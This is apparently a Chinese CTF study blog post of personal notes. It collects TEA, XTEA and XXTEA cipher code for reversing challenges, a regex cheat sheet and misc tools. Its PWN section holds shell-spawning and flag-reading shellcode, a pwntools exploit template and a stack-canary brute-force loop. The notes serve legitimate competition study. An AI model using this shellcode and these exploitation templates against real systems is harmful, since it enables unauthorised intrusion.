Featured image of post 【置顶】notes

【置顶】notes

notes for exp/resouce/others

reverse

算法和exp

tea

关键表现在多次加密的sum和delta变量,delta值一般为0x9E3779B9(-0x61C88647),但题目中往往可能改变delta
TEA算法使用64位的明文分组和128位的密钥,它使用Feistel分组加密框架,需要进行64轮迭代,但是作者认为32轮已经足够了,所以32轮迭代加密后最后得到的密文就是64位​。

简单的说就是,TEA加密解密是以原文以8字节(64位bit)为一组,密钥16字节(128位bit)为一组,(char为1字节,int为4字节,double为8字节),该算法加密轮次可变,作者建议为32轮,因为被加密的明文为64位,所以最终加密的结果也是64位。 加密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;              /* set up */
    uint32_t delta = 0x9e3779b9;                            /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];    /* cache key */
    for (i = 0; i < 32; i++) {                              /* basic cycle start */
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }                                                       /* end cycle */
    v[0] = v0; v[1] = v1;
}

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include<bits/stdc++.h>
using namespace std;
void decrypted(uint32_t* v,uint32_t* k){
    uint32_t v0=v[0],v1=v[1],sum=0xC6EF3720,i; //sum根据具体delta值判断
    uint32_t delta=0x9E3779B9;
    uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    for(i=0;i<32;i++){ //根据加密时的顺序颠倒下面3行的顺序,将加法改为减法(异或部分都是整体,不用管),就是逆向解密过程
       v1-=( (v0<<4) + k2) ^(v0+sum) ^ ((v0>>5)+k3);
       v0-=( (v1<<4) + k0) ^(v1+sum) ^ ((v1>>5)+k1);
       sum-=delta; 
    }
    //解密后返还
    v[0]=v0;v[1]=v1;
}
int main(){
    uint32_t v[2]={676078132,957400408};
    uint32_t k[4]={1702060386,1870148662,1634038898,1634038904};
    decrypted(v,k);
    printf("%x-%x",v[0],v[1]);
    return 0;
}

使用示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int main()
{
    char data[] = "password123456789";
    uint32_t key[] = {0x11111111,0x22222222,0x33333333,0x44444444};

    for (size_t i = 0; i < strlen(data)/8; i++) encrypt((uint32_t*)&data[i*8], key);
    printf("加密后:%s\n", data);

    for (size_t i = 0; i < strlen(data)/8; i++) decrypt((uint32_t*)&data[i*8], key);
    printf("解密后:%s\n", data);

}

xtea

tea的升级版 四个子密钥采取不正规方式混合以阻止密钥表攻击,特点在于sum&3

加密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void encrypt_xtea(uint32_t num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
    for (i = 0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0; v[1] = v1;
}

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void decrypt_xtea(uint32_t num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds;
    for (i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0; v[1] = v1;
}

xxtea

块加密,32位大小的任意倍数,128位密钥,速度性能慢,安全高

脚本(具体看题)

点击展开
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
//一个混淆操作,根据密码学的扩散原理,让算法更安全,同时也是xxtea的特征之一 
void xxtea(uint32_t *v, int n, uint32_t const key[4]){
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    //n是明文长度,sum对应图中的D,p对应图中的密钥下标索引,e是图中的D>>2

    /* Coding Part */
    if (n > 1) {
        rounds = 6 + 52/n;//循环轮数
        sum = 0;
        z = v[n-1];
        do{
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++){
                y = v[p+1];
                z = v[p] += MX;//本质上还是双整形加密,用v[p]和v[p+1]对v[p]加密
                /*
                v[p] += MX;
                z = v[p];
                */
            }
            y = v[0];
            z = v[n-1] += MX;//一轮加密的最后用v[n-1]和v[0]对v[n-1]加密
        }
        while (--rounds);
    }
    else if (n < -1)/* Decoding Part */{
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do{
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--){
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
 
int main()
{
    uint32_t v[2]= {1,2};
    uint32_t const k[4]= {2,2,3,4};
    int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("%#10x %#10x\n",v[0],v[1]);
    xxtea(v, n, k);//n>0为加密
    printf("%#10x %#10x\n",v[0],v[1]);
    xxtea(v, -n, k);//n<0为解密
    printf("%#10x %#10x\n",v[0],v[1]);
    return 0;
}

PWN

匿名函数起手式模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
io=remote("",)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

io.interactive()

canary爆破

点击展开
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 64位
canary=b'\x00'
for i in range(7):
    for j in range(256):
        payload = b'a' * offset + canary + bytes([j])
        if ...:
                canary += bytes([j])
                print(f"[+] Found byte {i+1}: 0x{j:02x}")
                break  # Continue to the next byte
        else:
            print(f"try again! {i}:{j}")
print("canary is ", hex(u64(canary)))
return u64(canary)

# 32位
canary=b'\x00'
for i in range(3):
    for j in range(256):
        payload = b'a' * offset + canary + bytes([j])
        if ...:
                canary += bytes([j])
                print(f"[+] Found byte {i+1}: 0x{j:02x}")
                break  # Continue to the next byte
        else:
            print(f"try again! {i}:{j}")
print("canary is ", hex(u32(canary)))
return u32(canary)

shellcode与汇编语言

汇编语言

cmp与跳转指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
cmp ax,bx的逻辑含义是比较ax,bx中的值。如果执行后:

ZF=1则AX=BX

ZF=0则AX!=BX

SF=1则AX<BX

SF=0则AX≥BX

SF=0并ZF=0则AX>BX

SF=1或ZF=1则AX≤BX

shellcode收集

学习过程放在下面了懒得删了,上面放shellcode收集

x86/64 Linux execve("/bin/sh") Shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
xor     rdi, rdi
mov     rsi, rdi
mov    rdx, rdi
mov     rdi, 0x68732f6e69622f2f
push    rdi
mov     rdi,rsp
xor     rsi,rsi
xor     rdx,rdx
mov     rax, 0x3b
syscall           

i386 orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#char*file='flag'; sys_open(file,0,0);

orwOpen = '''  
mov eax,5; #sys_open
xor ecx,ecx;
xor edx,edx;  # edx = int mode 设定权限的
push 0x00;      #字符串结尾  
push 0x67616c66; #flag十六进制小端序
mov ebx,esp;
int 0x80;
'''

#sys_read(3,file,0x50);
orwRead = '''
mov ebx,eax;
mov ecx,esp;
mov eax,0x3; #sysread
mov edx,0x50; #字节数
int 0x80; #中断
'''
#sys_write(1,file,0x50); 
orwWrite = '''
mov ebx,1;
mov ecx,esp;
mov edx,0x50;
mov eax,4; #syswrite
int 0x80;
'''

payload = asm(orwOpen) + asm(orwRead) + asm(orwWrite)

基本pwntools

点击展开

自定义 Shellcode

你可以根据自己的需求自定义 Shellcode。假设我们需要构建一个简单的 execve Shellcode 来执行一个特定的命令(例如 /bin/ls):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

# 定义要执行的命令
command = '/bin/ls'

# 使用 pwntools 生成 execve("/bin/ls") 的 Shellcode
shellcode = asm(shellcraft.execve(command))

print("Shellcode:")
print(shellcode)

这里,shellcraft.execve(command) 生成一个执行给定命令的 Shellcode。

调试和测试 Shellcode

你可以使用 pwnlib 中的 context 来设置目标架构,确保生成的 Shellcode 能在正确的环境下执行。假设你希望生成 x86 架构的 Shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

# 设置目标架构(x86)
context.arch = 'i386'

# 生成 x86 execve("/bin/sh") Shellcode
shellcode = asm(shellcraft.sh())

print("Shellcode:")
print(shellcode)

你也可以设置更多的上下文选项,如操作系统、字节顺序等。pwntools 支持多种架构,常见的包括:

  • i386:32 位 x86 架构
  • x86_64:64 位 x86 架构
  • arm, aarch64:ARM 架构
  • mips, mipsel:MIPS 架构

打包 Shellcode

有时我们需要将生成的 Shellcode 打包成 C 代码,或者将它嵌入到其他程序中,pwntools 提供了方便的转换方法。例如,生成 C 代码字符串:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

# 设置目标架构(x86)
context.arch = 'i386'

# 生成 Shellcode
shellcode = asm(shellcraft.sh())

# 转换成 C 语言中的字节数组
print("C Code Shellcode:")
print(f'char shellcode[] = "{shellcode.encode("unicode_escape").decode()}"')

生成的输出将是类似这样的 C 代码,可以嵌入到 C 程序中:

1
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

还有一种:自己编写好详细的汇编代码,然后通过asm()函数生成字节码发送shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
shellcode = asm('''
mov rdx,0x2000
add rsi,0xd
syscall
''')
# shellcode = ('''
# mov rdx,0x2000
# add rsi,0xd
# syscall
# ''')
# p.send(asm(shellcode))
p.send(shellcode)

MISC

工具

z3

Z3在工业应用中常见于软件验证、程序分析等。其功能十分强大,在CTF领域我们将其作为一个 约束求解器 ,在二进制逆向、密码题等方面很常见,二进制分析框架angr中也内置了一个z3(修改版)

在使用z3的过程中,我们常常会进行比对。 生成一个约束器,然后往里面加东西(比对完成后的)

1
2
3
4
s=solver()
# ... 一堆约束添加
print(s.check())
m=s.model()

EXP

experience

linux下的7z(杂项)

可以实现将vmdk解压,如果有windows格式下没有的文件就可找出

正则表达式速查表

匹配字符

表达式 说明 示例
[abc] 匹配 a,b,c 中的任意一个字符 a/b/c
[^abc] 匹配除 a,b,c 之外的任意字符 d/1/@
[a-g] 匹配 a-g 范围内的任意一个字符 a/d/g
[^a-g] 不匹配 a-g 中的所有字符 h/A/5
[H-N] 匹配 H-N 范围内的任意一个字符 H/K/N
[a-gH-N] 匹配 a-g 或 H-N 范围内的字符 a/H/g
[0-9] 匹配 0-9 范围内的任意一个字符 0/5/9
[0|9] 匹配 0 或 9 0/9
. 匹配除换行符以外的任意字符 a/1/@
x|y 匹配 x 或 y x/y
\s 匹配任意空白符(\n\r\t\f\v 空格/制表符/换行符
\S 匹配非空白字符 [^\s] a/1/@
\d 匹配数字 [0-9] 0/5/9
\D 匹配非数字 [^\d] a/@/空格
\w 匹配字母和数字 [a-zA-Z0-9_] a/5/_
\W 匹配非字母和数字 [^\w] @/空格/#

频次范围(量词)

表达式 说明 示例
* 重复零次或多次 {0,}(贪婪) a*""/a/aaa
*? 非贪婪模式 a*? → 尽量少匹配
+ 重复一次或多次 {1,} a+a/aaa
+? 非贪婪模式 a+? → 尽量少匹配
? 重复零次或一次 {0,1} a?""/a
{n} 重复 n 次 a{3}aaa
{n,} 重复 n 次或多次 a{2,}aa/aaa
{n,m} 重复 n 到 m 次 a{2,4}aa/aaaa

定位匹配

表达式 说明 示例
^ 字符串开始位置 ^aabc(开头匹配)
$ 字符串结束位置 a$ → bca(结尾匹配)
\b 单词边界 \ba\ba in “a b”
\B 非单词边界 \Ba\Ba in “abc”
(exp) 捕获分组 (ab)+abab
(?:exp) 不捕获分组 (?:ab)+ → 不记录分组
(?=exp) 正向肯定预查(匹配 exp 前的位置) a(?=b)a in “ab”
(?<=exp) 反向肯定预查(匹配 exp 后的位置) (?<=a)bb in “ab”
(?!exp) 正向否定预查 a(?!b)a in “ac”
(?<!exp) 反向否定预查 (?<!a)bb in “cb”
(?<name>exp) 命名捕获分组 (?<id>\d+) → 命名分组

压缩包分分的卷的合并原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 设置文件前缀、输出文件名和部分文件数量
file_prefix = "flag.zip"  # 文件前缀,对应分包001-00
output_file = "flag.zip"   # 输出文件名最终
# 打开输出文件以二进制写入
with open(output_file, 'wb') as outfile:
    # 遍历每个部分文件
    for i in range(1, 10):
        part_file = f"{file_prefix}.{i:03d}"
        # 打开每个部分文件以二进制读取
        with open(part_file, 'rb') as infile:
            # 读取文件内容并写入输出文件
            outfile.write(infile.read())
print(f"合并完成,输出文件:{output_file}")

实际上就是把压缩包的十六进制拆开来了,你当然也可以010里一段段拼起来

本博客已稳定运行
发表了37篇文章 · 总计10万6千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...